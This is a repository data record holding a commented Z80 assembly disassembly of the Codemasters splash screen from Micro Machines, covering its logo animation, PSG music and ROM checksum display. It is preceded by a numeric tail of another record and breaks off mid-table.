36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
46.420561
2,999
0.653916
229850beefba1891b2a34dc4350f72100413b63b
30,332
asm
Assembly
Analysis/Splash screen.bin.asm
maxim-zhao/micromachineseditor
78838fb9fcf866c004927d4c84f3aed8354dbd4c
[ "MIT" ]
5
2015-08-19T15:59:59.000Z
2022-01-02T17:56:48.000Z
Analysis/Splash screen.bin.asm
maxim-zhao/micromachineseditor
78838fb9fcf866c004927d4c84f3aed8354dbd4c
[ "MIT" ]
1
2022-01-25T22:36:49.000Z
2022-02-03T22:53:41.000Z
Analysis/Splash screen.bin.asm
maxim-zhao/micromachineseditor
78838fb9fcf866c004927d4c84f3aed8354dbd4c
[ "MIT" ]
null
null
null
.memorymap slotsize 3680 slot 0 $c000 defaultslot 0 .endme .rombankmap bankstotal 1 banksize 3680 banks 1 .endro .include "System definitions.inc" .enum $c000 _RAM_C000_Code dsb $1000 _RAM_D000_AnimatedTiles dsb $07d0 _RAM_D7D0_Unused db _RAM_D7D1_AnimationCounter db _RAM_D7D2_AnimationIndex db _RAM_D7D3_Animation_CharLeft db _RAM_D7D4_Animation_CharRight db _RAM_D7D5_Animation_CharLeftIn18 db _RAM_D7D6_Animation_CharRightIn18 db _RAM_D7D7_SpriteX db _RAM_D7D8_Checksum_CalculatedValue dw _RAM_D7DA_Checksum_PageNumber db _RAM_D7DB_Checksum_BadFinalBytePageNumber db _RAM_D7DC_Checksum_Result db _RAM_D7DD_NoteDataPointer dw _RAM_D7DF_AttenuationDataPointer dw _RAM_D7E1_MuteSound db .ende .struct CodemastersHeader PageCount db Day db Month db Year db Hour db Minute db Checksum dw ChecksumComplement dw Unused dsb 6 .endst .enum $7fe0 Header instanceof CodemastersHeader .ende di call _LABEL_c0bf_InitaliseAndChecksum ; Initialise state xor a ld (_RAM_D7E1_MuteSound), a ld (_RAM_D7D0_Unused), a ld (_RAM_D7D1_AnimationCounter), a ; Animation loop ; We loop over 10 things using c... ---:ld c, $00 --: ; The condition for updating stuff seems weird... ld a, (_RAM_D7D1_AnimationCounter) sub c ; Subtract between 0 and 30 sub c sub c cp $09 ; and check for being less than 10 jr nc, + ;$c023 ; This means that when _RAM_D7D1_AnimationCounter is low, we only get here for ; low values of c, ut as it gets bigger, we come in here more, and with bigger ; values in a. This gives the sweep effect of the animation? push bc ; Capture the value (0-9) in b ; c is used too ld b, a call _LABEL_c05e_UpdateTiles ; Update tile data? call _LABEL_ca74_UpdateSound pop bc +: inc c ld a, c cp 11 ; Range 0..10 -> loop here jr nz, -- ;$c010 ; When c = 11, increment _RAM_D7D1_AnimationCounter ld hl, _RAM_D7D1_AnimationCounter inc (hl) ; Loop until it's $98 = 152 ld a, (hl) cp $98 jr nz, --- ;$c00e call _LABEL_c051_WaitForVBlank ; Tilemap 25, 9 ld a, $72 out (PORT_VDP_ADDRESS), a ld a, $7a out (PORT_VDP_ADDRESS), a ; "TM" ld a, $29 out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ; Wait for 150 frames = 3s ld b, 150 --: call _LABEL_c051_WaitForVBlank -: in a, (PORT_VDP_LINECOUNTER) ; Then wait for line 0 and a jr nz, - ;$c049 djnz -- ;$c046 _LABEL_C050_ret: ; Jumped to from elsewhere ret _LABEL_c051_WaitForVBlank: push af -: in a, (PORT_VDP_LINECOUNTER) cp $c0 jr c, - ;$c052 cp $d0 jr nc, - ;$c052 pop af ret _LABEL_c05e_UpdateTiles: ; b = index in range 0..9 (animation state) ; c = index in range 0..10 (character index) ; Look up left edge coordinate for character ld e, c ld d, $00 ld hl, _DATA_C9C6_CharacterLeftXs ;$c9c6 add hl, de ; Save animation index ld a, b ld (_RAM_D7D2_AnimationIndex), a ; Get character left ld a, (hl) inc hl ld (_RAM_D7D3_Animation_CharLeft), a ; Value ld c, a ; Get following value ld a, (hl) ld (_RAM_D7D4_Animation_CharRight), a ; `00C070 32 D4 D7 ; Next value sub c ; Store width in c ld c, a ; Compute (18 - width)/2 = where char starts in a 18px width ld a, 18 ; Compute (18-n)/2 sub c srl a ld (_RAM_D7D5_Animation_CharLeftIn18), a ; And add the width to get where the char ends in an 18px width add a, c ; +n ld (_RAM_D7D6_Animation_CharRightIn18), a ; This jump seems unneccessary jp _LABEL_C3B6_UpdateTiles_Part2 _LABEL_C084_PrintSpaceThenHexNumber: ex af, af' ; Leading space ld a, $28 out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a ex af, af' _LABEL_C08E_PrintHexNumber: ld c, a ; High digit and $f0 rra rra rra rra ; Offset by index of '0' add a, $7c out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a ; Low digit ld a, c and $0f ; Same again add a, $7c out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a ret _DATA_C0A9_VDPRegisters: .db $36 $80 .db $22 $81 .db $0E $82 .db $FF $83 .db $FF $84 .db $7F $85 .db $00 $86 .db $01 $87 .db $00 $88 .db $00 $89 .db $FF $8A _LABEL_c0bf_InitaliseAndChecksum: ; Initialise music engine data pointers ld hl, _DATA_CAEE_NoteData ld (_RAM_D7DD_NoteDataPointer), hl ld hl, _DATA_CB4F_AttenuationData ld (_RAM_D7DF_AttenuationDataPointer), hl xor a ld (_RAM_D7DC_Checksum_Result), a ; Set up VDP registers ld hl, _DATA_C0A9_VDPRegisters ld bc, $16bf otir ; Load palette into both halves xor a out (PORT_VDP_ADDRESS), a ld a, $c0 out (PORT_VDP_ADDRESS), a ld hl, _DATA_C9C2_Palette ld bc, $04be otir ld a, $10 out (PORT_VDP_ADDRESS), a ld a, $c0 out (PORT_VDP_ADDRESS), a ld hl, _DATA_C9C2_Palette ld bc, $04be otir ; Set up sprites ; Address $7f00 = Y coordinates xor a out (PORT_VDP_ADDRESS), a ld a, $7f out (PORT_VDP_ADDRESS), a ; Data for two sprites, 8px apart vertically ld a, $6f out (PORT_VDP_DATA), a ld a, $77 out (PORT_VDP_DATA), a ; Zeroes for the rest ld b, $7e xor a -: out (PORT_VDP_DATA), a djnz - ;$c108 ; Next the X coordinates, tile indices ld a, $1e ld (_RAM_D7D7_SpriteX), a out (PORT_VDP_DATA), a ld a, $5c out (PORT_VDP_DATA), a ld a, $28 out (PORT_VDP_DATA), a ld a, $5c out (PORT_VDP_DATA), a ; Zeroes for the rest ld b, $7f -: xor a out (PORT_VDP_DATA), a djnz - ;$c121 ; VRAM address $0000 xor a out (PORT_VDP_ADDRESS), a ld a, $40 out (PORT_VDP_ADDRESS), a xor a ; Emit 41 blank tiles (Codemasters logo, not animated in yet) ld c, $29 --: ld b, $08 -: ld a, $ff out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a out (PORT_VDP_DATA), a out (PORT_VDP_DATA), a djnz - ;$c132 dec c jr nz, -- ;$c130 ; Then 51 real tiles at 2bpp (Absolutely Brilliant, plus faces) ld hl, _DATA_C512_Tiles ld a, $33 ; Tile count = 51 ld d, $00 ; Unused bitplanes --: ld bc, $18be ; Counter $18 will count down three times per loop -> 8 rows = 1 tile -: outi outi out (c), d out (c), d djnz -; $c14c dec a jr nz, -- ;$c149 ; Then 48 at 1bpp, assume they come after the previous data (sprite tiles, text) ld a, $30 ld de, $ff00 --: ld bc, $10be -: out (c), d outi out (c), e out (c), e djnz - ;$c161 dec a jr nz, -- ;$c15e ; Next the tilemap xor a out (PORT_VDP_ADDRESS), a ld a, $78 out (PORT_VDP_ADDRESS), a ; Set it all to tile index $28 at high priority ld c, 24 ;$18 ; Rows --: ld b, 32 ;$20 ; Bytes per row -: ld a, $28 ; Value out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a djnz - ;$c179 dec c jr nz, -- ;$c177 ; Check buttons pressed includes 1+2 in a, ($dc) and $30 jp z, _LABEL_C26A_Checksum ; If not, carry on... ; Draw stuff ; Tilemap 6, 9 = top row of CODEMASTERS logo ld a, $4c out (PORT_VDP_ADDRESS), a ld a, $7a out (PORT_VDP_ADDRESS), a ; Emit tile indices 0, 2, ... $24 ld bc, $1300 -: ld a, c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a inc c inc c djnz - ;$c198 ; Tilemap 6, 19 = bottom row of CODEMASTERS logo ld a, $8c out (PORT_VDP_ADDRESS), a ld a, $7a out (PORT_VDP_ADDRESS), a ; Emit tile indices 1, 3, ... $25 ld bc, $1301 -: ld a, c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a inc c inc c djnz - ;$c1ad ; Tilemap 6, 14 = top row of Absolutely Brilliant slogan ld a, $8c out (PORT_VDP_ADDRESS), a ld a, $7b out (PORT_VDP_ADDRESS), a ; Emit $2a, $2b, ... $3d ld bc, $142a -: ld a, c out (PORT_VDP_DATA), a ld a, $10 ; High priority out (PORT_VDP_DATA), a inc c djnz - ;$c1c2 ; Tilemap 6, 15 = bottom row of Absolutely Brilliant slogan ld a, $cc out (PORT_VDP_ADDRESS), a ld a, $7b out (PORT_VDP_ADDRESS), a ; Emit $3e, $3f, ... $51 ld b, $14 -: ld a, c out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a inc c djnz - ;$c1d6 ; Tilemap 15, 16 = descender of Absolutely Brilliant slogan ld a, $1e out (PORT_VDP_ADDRESS), a ld a, $7c out (PORT_VDP_ADDRESS), a ; Emit $52, $53 ld a, c inc c out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a ld a, c inc c out (PORT_VDP_DATA), a ld a, $10 out (PORT_VDP_DATA), a ; Emit tiles from $5e... ld c, $5e ; Tilemap 6, 22 = copyright text ld a, $8c out (PORT_VDP_ADDRESS), a ld a, $7d out (PORT_VDP_ADDRESS), a ; Emit 20 tiles "(c) CODEMASTERS SOFTWARE" ld b, $14 -: ld a, c inc c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a djnz - ;$c204 ; Tilemap 9, 23 = copyright text ld a, $d2 out (PORT_VDP_ADDRESS), a ld a, $7d out (PORT_VDP_ADDRESS), a ; Emit 10 tiles "COMPANY LTD" ld b, $0a -: ld a, c inc c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a djnz - ;$c217 ; Emit year using the number tiles ; First the 19... ld hl, _DATA_C510_CenturyDigits ld b, $02 -: ld a, (hl) inc hl add a, c ; Points at the digit 0 now out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a djnz - ;$c225 ; Read the rest of the year out of the Codemasters header ld a, (Header.Year) ld b, a srl a srl a srl a srl a add a, c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ld a, b and $0f add a, c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ; Generate the animated tiles source in its initial state ld hl, _RAM_D000_AnimatedTiles ld bc, $0130 ; = 38 tiles ; Emit one row -: ld (hl), $ff inc hl ld (hl), $00 inc hl ld (hl), $00 inc hl ld (hl), $00 inc hl dec bc ld a, b or c jr nz, - ;$c250 ; Screen on ld a, $62 out (PORT_VDP_REGISTER), a ld a, $81 out (PORT_VDP_REGISTER), a ret _LABEL_C26A_Checksum: ; Checksums the data and draws to the screen if it's bad xor a ld (_RAM_D7DA_Checksum_PageNumber), a ld (_RAM_D7DB_Checksum_BadFinalBytePageNumber), a ld hl, $0000 ld (_RAM_D7D8_Checksum_CalculatedValue), hl -: ld a, (_RAM_D7DA_Checksum_PageNumber) ld ($8000), a call _LABEL_c4dd_AddPageToChecksum ; Check last byte of page matches the page number, for pages >=2 ld hl, _RAM_D7DA_Checksum_PageNumber ld a, (hl) cp $02 jr c, + ;$c297 ld a, ($bfff) cp (hl) jr z, + ;$c297 ; Save the offending value to RAM ld a, (hl) ld (_RAM_D7DB_Checksum_BadFinalBytePageNumber), a ; Set the result to >1 ld a, $ff ld (_RAM_D7DC_Checksum_Result), a +: inc (hl) ; Next page ; check if we have reached the page count (stored in the Codemasters header) ld b, (hl) ld a, (Header.PageCount) cp b jr nz, - ;$c277 ; loop until we do ; Now time to draw stuff ; VRAM address 8, 5 ld a, $50 out (PORT_VDP_ADDRESS), a ld a, $79 out (PORT_VDP_ADDRESS), a ; "C" ld a, $88 out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ; The calculated checksum ld a, (_RAM_D7D8_Checksum_CalculatedValue+1) call _LABEL_C084_PrintSpaceThenHexNumber ld a, (_RAM_D7D8_Checksum_CalculatedValue) call _LABEL_C08E_PrintHexNumber ; Check if it's right ld hl, (_RAM_D7D8_Checksum_CalculatedValue) ld bc, (Header.Checksum) and a sbc hl, bc jr z, + ;$c2cb ; Set the result to 1 ld a, $01 ld (_RAM_D7DC_Checksum_Result), a +: ; VRAM address 8, 7 ld a, $d0 out (PORT_VDP_ADDRESS), a ld a, $79 out (PORT_VDP_ADDRESS), a ; "D" ld a, $89 out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ; The timestamp ld a, (Header.Day) call _LABEL_C084_PrintSpaceThenHexNumber ld a, (Header.Month) call _LABEL_C084_PrintSpaceThenHexNumber ld a, (Header.Year) call _LABEL_C084_PrintSpaceThenHexNumber ld a, (Header.Hour) call _LABEL_C084_PrintSpaceThenHexNumber ld a, (Header.Minute) call _LABEL_C084_PrintSpaceThenHexNumber ; Print the detected bad page number if non-zero ld a, (_RAM_D7DB_Checksum_BadFinalBytePageNumber) and a jr z, + ;$c313 ; Tilemap address 8, 9 ld a, $50 out (PORT_VDP_ADDRESS), a ld a, $7a out (PORT_VDP_ADDRESS), a ; "B" ld a, $87 out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ld a, (_RAM_D7DB_Checksum_BadFinalBytePageNumber) call _LABEL_C084_PrintSpaceThenHexNumber +: ; VRAM address 15, 12 ld a, $1e out (PORT_VDP_ADDRESS), a ld a, $7b out (PORT_VDP_ADDRESS), a ; Tile index of happy face ld c, $54 ld a, (_RAM_D7DC_Checksum_Result) and a jr z, + ;$c327 ; Increment to point at the sad/sick face inc c inc c inc c inc c +: ; Emit two tiles ld a, c inc c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ld a, c inc c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ; VRAM address 15, 13 ld a, $5e out (PORT_VDP_ADDRESS), a ld a, $7b out (PORT_VDP_ADDRESS), a ; Emit two more tiles ld a, c inc c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ld a, c out (PORT_VDP_DATA), a xor a out (PORT_VDP_DATA), a ; Change the palette to match the result ld a, (_RAM_D7DC_Checksum_Result) and a jr nz, + ;$c388 ; Palette index 1 ld a, $01 out (PORT_VDP_ADDRESS), a ld a, $c0 out (PORT_VDP_ADDRESS), a ; Green ld a, %001100 ; Palette index $11 out (PORT_VDP_DATA), a ld a, $11 out (PORT_VDP_ADDRESS), a ld a, $c0 out (PORT_VDP_ADDRESS), a ; Green ld a, %001100 out (PORT_VDP_DATA), a ; Turn on screen ld a, $62 out (PORT_VDP_REGISTER), a ld a, $81 out (PORT_VDP_REGISTER), a ; Leave it showing while a button is pressed -: in a, ($dc) ; Player 1 controls or $c0 cp $ff jr nz, - ;$c370 ; Loop while anything pressed - delays starting the timeout ; Then wait 256 frames = ~5s ld b, $00 --: call _LABEL_c051_WaitForVBlank -: in a, (PORT_VDP_LINECOUNTER) and a jr nz, - ;$c37d djnz -- ;$c37a ; Not sure why this is - trying to discard the return address? This stops it returning to the normal intro pop bc ; Then return to the next address up the stack - probably the caller of $c000. ; This doesn't work when the caller was in paged code - because we do not restore the page. ; In Micro Machines, this ends up in some code that gets stuck doing nothing much. jp _LABEL_C050_ret +: ; Bad result ; Palette index 1 ld a, $01 out (PORT_VDP_ADDRESS), a ld a, $c0 out (PORT_VDP_ADDRESS), a ; Red ld a, %000011 out (PORT_VDP_DATA), a ; Palette index $11 ld a, $11 out (PORT_VDP_ADDRESS), a ld a, $c0 out (PORT_VDP_ADDRESS), a ; Red ld a, %000011 out (PORT_VDP_DATA), a ; Screen on ld a, $62 out (PORT_VDP_ADDRESS), a ld a, $81 out (PORT_VDP_ADDRESS), a ; Play a sound ld a, $8f out (PORT_PSG), a ld a, $3f out (PORT_PSG), a ld a, $90 out (PORT_PSG), a ; Hang forever -: jr - ;$c3b4 _LABEL_C3B6_UpdateTiles_Part2: ; Look up row in animation table ld a, (_RAM_D7D2_AnimationIndex) ; Get value ld e, a ; -> de ld d, $00 ld h, d ; -> hl ld l, e add hl, hl ; Multiply by 18 add hl, hl add hl, hl add hl, de add hl, hl ld de, _DATA_C9D2_AnimationXValues add hl, de ; Now pointing at the 18 bytes for _RAM_D7D2_AnimationIndex ; Move on by _RAM_D7D5_Animation_CharLeftIn18 ld a, (_RAM_D7D5_Animation_CharLeftIn18) ld c, a ld b, $00 add hl, bc ld b, h ; -> bc ld c, l ; Get character left X (saved in l) ld a, (_RAM_D7D3_Animation_CharLeft) ld l, a -: ; Read animation value -> h ld a, (bc) ld h, a ld a, h ; Check for $ff inc a jr z, + ;$c3fd ; If not $ff, compare to _RAM_D7D5_Animation_CharLeftIn18 ld a, (_RAM_D7D5_Animation_CharLeftIn18) ld d, a ld a, h cp d jr c, + ;$c3fd ; If larger or equal, compare to _RAM_D7D6_Animation_CharRightIn18 ld a, (_RAM_D7D6_Animation_CharRightIn18) ld d, a ld a, h cp d jr nc, + ;$c3fd ; If smaller or equal, add on the animation value to offset it ld a, (_RAM_D7D3_Animation_CharLeft) add a, h ld h, a ; Then subtract the char left ; This is a wacky way to do it... ld a, (_RAM_D7D5_Animation_CharLeftIn18) cpl inc a add a, h ld h, a ; Now it's selected the column, let's draw it push bc push hl call _LABEL_C442_UpdateTileAnimation pop hl pop bc +: ; Move on to next column inc bc ; And next source column inc l ; Loop until we get to the end ld a, (_RAM_D7D4_Animation_CharRight) cp l jr nz, - ;$c3d4 ; Round the X value down to a multiple of 8 (to get a tile X) ld a, (_RAM_D7D3_Animation_CharLeft) and $f8 ; Then add $1a00 and multiply by 8 to get a tile index + $d000 ; This is the address in _RAM_D000_AnimatedTiles ld l, a ld h, $1a add hl, hl add hl, hl add hl, hl ; Then put it in de and adjust to $4xxx to be the destination VRAM address ld e, l ld a, h sub $d0 add a, $40 ld d, a call _LABEL_c051_WaitForVBlank ; Sprite table ld a, $80 out (PORT_VDP_ADDRESS), a ld a, $7f out (PORT_VDP_ADDRESS), a ; Move sprite right by 2px ld a, (_RAM_D7D7_SpriteX) add a, $02 ld (_RAM_D7D7_SpriteX), a ld b, a out (PORT_VDP_DATA), a ; Sprite index ld a, $5c out (PORT_VDP_DATA), a ; Next sprite X is -2 ld a, b sub $02 out (PORT_VDP_DATA), a ; Leave index as written ; Set VRAM address for tile animation upload ld a, e out (PORT_VDP_ADDRESS), a ld a, d out (PORT_VDP_ADDRESS), a ; Emit $c0 bytes = 6 tiles from hl ld bc, $c0be otir ret _LABEL_C442_UpdateTileAnimation: ; h = index in tile width (18px) to draw from ; l = source column number (0-151) ; Convert to bitmask for bit in source byte ld a, l and $07 add a, <_DATA_c508_IndexToBitFromLeft ld c, a ld b, >_DATA_c508_IndexToBitFromLeft ld a, (bc) ld b, a ; de = h * 8 + _DATA_CC00_CodemastersLogo ld e, h xor a sla e rla sla e rla add a, >_DATA_CC00_CodemastersLogo ;$cc ld d, a ; hl = location of tile in _RAM_D000_AnimatedTiles for l ld a, l and $f8 ; Round down to multiple of 8 ld l, a ld h, $1a ; $d0 / 8 add hl, hl add hl, hl add hl, hl call _LABEL_C469_EmitDataForOneSourceByte call _LABEL_C469_EmitDataForOneSourceByte call _LABEL_C469_EmitDataForOneSourceByte _LABEL_C469_EmitDataForOneSourceByte: ; read source byte ld a, (de) ld c, a inc de rl c jr nc, + ;$c474 ; 1 -> ld a, (hl) or b jr ++ ;$c477 +: ld a, b cpl and (hl) ++: ld (hl), a inc hl rl c jr nc, + ;$c481 ld a, (hl) or b jr ++ ;$c484 +: ld a, b cpl and (hl) ++: ld (hl), a inc hl inc hl inc hl rl c jr nc, + ;$c490 ld a, (hl) or b jr ++ ;$c493 +: ld a, b cpl and (hl) ++: ld (hl), a inc hl rl c jr nc, + ;$c49d ld a, (hl) or b jr ++ ;$c4a0 +: ld a, b cpl and (hl) ++: ld (hl), a inc hl inc hl inc hl rl c jr nc, + ;$c4ac ld a, (hl) or b jr ++ ;$c4af +: ld a, b cpl and (hl) ++: ld (hl), a inc hl rl c jr nc, + ;$c4b9 ld a, (hl) or b jr ++ ;$c4bc +: ld a, b cpl and (hl) ++: ld (hl), a inc hl inc hl inc hl rl c jr nc, + ;$c4c8 ld a, (hl) or b jr ++ ;$c4cb +: ld a, b cpl and (hl) ++: ld (hl), a inc hl rl c jr nc, + ;$c4d5 ld a, (hl) or b jr ++ ;$c4d8 +: ld a, b cpl and (hl) ++: ld (hl), a inc hl inc hl inc hl ret _LABEL_c4dd_AddPageToChecksum: ld de, $8000 ; Start address ld bc, $2000 ; Byte count - only 8K? ld a, (_RAM_D7DA_Checksum_PageNumber) cp $01 jr nz, + ;$c4ed ld bc, $1ff8 ; Reduced for page 1? +: exx ld hl, (_RAM_D7D8_Checksum_CalculatedValue) exx -: ld a, (de) ; Get byte inc de exx ld e, a exx ld a, (de) inc de exx ld d, a add hl, de exx dec bc ld a, b or c jr nz, - ;$c4f2 exx ld (_RAM_D7D8_Checksum_CalculatedValue), hl exx ret _DATA_c508_IndexToBitFromLeft: ; Maps 0 -> bit 7, 1 -> bit 6, ... .db %10000000 .db %01000000 .db %00100000 .db %00010000 .db %00001000 .db %00000100 .db %00000010 .db %00000001 _DATA_C510_CenturyDigits: ; Used to draw the copyright date .db 1, 9 _DATA_C512_Tiles: ; 2bpp -> 16 bytes per tile .incbin "Assets/Splash screen/TM.2bpp" .incbin "Assets/Splash screen/AbsolutelyBrilliantPart1.2bpp" .incbin "Assets/Splash screen/AbsolutelyBrilliantPart2.2bpp" .incbin "Assets/Splash screen/Faces.2bpp" ; 1bpp -> 8 bytes per tile .incbin "Assets/Splash screen/Sprites.1bpp" .incbin "Assets/Splash screen/Copyright.1bpp" .incbin "Assets/Splash screen/HexCharacters.1bpp" _DATA_C9C2_Palette: SMSCOLOUR $000000 SMSCOLOUR $aa00aa SMSCOLOUR $ffaaff SMSCOLOUR $ffffff _DATA_C9C6_CharacterLeftXs: .db $00 $0E $1D $2B $39 $4B $59 $63 $71 $7E $8D $97 ; 151px total ; C O D E M A S T E R S (end) ; Widths (decimal): ; 14 15 14 14 18 14 10 14 13 15 10 _DATA_C9D2_AnimationXValues: ; 18 bytes per entry ; Corresponds to the x-coordinates within an 18px bitmap to select for animation purposes? .db $FF $FF $FF $FF $FF $FF $FF $FF $05 $FF $FF $FF $FF $FF $FF $FF $FF $FF .db $FF $FF $FF $FF $FF $FF $FF $03 $05 $0C $0E $FF $FF $FF $FF $FF $FF $FF .db $FF $FF $FF $FF $00 $02 $04 $06 $07 $0A $0B $0D $0F $11 $FF $FF $FF $FF .db $FF $FF $FF $00 $01 $03 $04 $06 $07 $0A $0B $0D $0E $10 $11 $FF $FF $FF .db $FF $FF $00 $01 $03 $04 $06 $07 $08 $09 $0A $0B $0C $0E $0F $11 $FF $FF .db $FF $00 $01 $02 $03 $05 $06 $07 $08 $09 $0A $0B $0C $0E $0F $10 $11 $FF .db $00 $01 $02 $03 $04 $05 $06 $07 $08 $09 $0A $0B $0C $0D $0E $0F $10 $11 .db $00 $01 $02 $03 $04 $05 $06 $07 $08 $09 $0A $0B $0C $0D $0E $0F $10 $11 ; Last three are the same .db $00 $01 $02 $03 $04 $05 $06 $07 $08 $09 $0A $0B $0C $0D $0E $0F $10 $11 _LABEL_ca74_UpdateSound: ld a, (_RAM_D7E1_MuteSound) or a jr nz, + ;+$1f ;$ca99 ; Zero - play sound ; Get next note ld hl, (_RAM_D7DD_NoteDataPointer) ld a, (hl) inc hl ld (_RAM_D7DD_NoteDataPointer), hl ; Play note - 10 on channel 0 ld e, $80 sub $0a call _LABEL_CACA_SetPSGFrequency ; Next value ld a, (hl) ; Play note - 8 on channel 1 sub $08 ld e, $a0 call _LABEL_CACA_SetPSGFrequency ; Check if it was $80 ld a, (hl) cp $80 jr nz, ++ ;$caaa ; If so, stop sound ld (_RAM_D7E1_MuteSound), a +: ; Silence PSG ld a, $9f out (PORT_PSG), a ld a, $bf out (PORT_PSG), a ld a, $df out (PORT_PSG), a ld a, $ff out (PORT_PSG), a ret ++: ; Else, play note - 6 on channel 2 ld e, $c0 sub $06 call _LABEL_CACA_SetPSGFrequency ; Then get volume data ; Set volumes at positions n, n+1, n+2 to channels 0-2 ; but only increment the pointer by 1 each time ld hl, (_RAM_D7DF_AttenuationDataPointer) ld a, (hl) or $90 out (PORT_PSG), a inc hl ld (_RAM_D7DF_AttenuationDataPointer), hl ld a, (hl) or $b0 out (PORT_PSG), a inc hl ld a, (hl) or $d0 out (PORT_PSG), a inc hl ret _LABEL_CACA_SetPSGFrequency: ; a = note index ; e = channel mask push hl ; Look up wavelength from a add a, a ld c, a ld b, $00 ld hl, _DATA_CBB1_PSGFrequencyLookup ;$cbb1 add hl, bc ld a, (hl) ; LSB ld b, a inc hl ld c, (hl) ; MSB ; Shift data into the right place rla rl c rla rl c rla rl c rla rl c ld a, b and $0f ; Select channel or e ; Emit out (PORT_PSG), a ld a, c out (PORT_PSG), a pop hl ret _DATA_CAEE_NoteData: ; PSG notes, 12TET ; Higher values are higher notes ; Approximately a ramp from 10 to 25, then flat, overlaid by some funny shaped vibrato. .db $0A $0B $0C $0D $0C $0B $0A $0C .db $0E $10 $0E $0C $0E $0F $10 $11 .db $10 $0F $0E $10 $12 $14 $12 $10 .db $12 $13 $14 $15 $14 $13 $12 $14 .db $16 $18 $16 $14 $16 $17 $18 $19 .db $18 $17 $16 $18 $1A $1C $1A $18 .db $16 $17 $18 $19 $18 $17 $16 $18 .db $1A $1C $1A $18 $16 $17 $18 $19 .db $18 $17 $16 $18 $1A $1C $1A $18 .db $16 $17 $18 $19 $18 $17 $16 $18 .db $1A $1C $1A $18 $16 $17 $18 $19 .db $18 $17 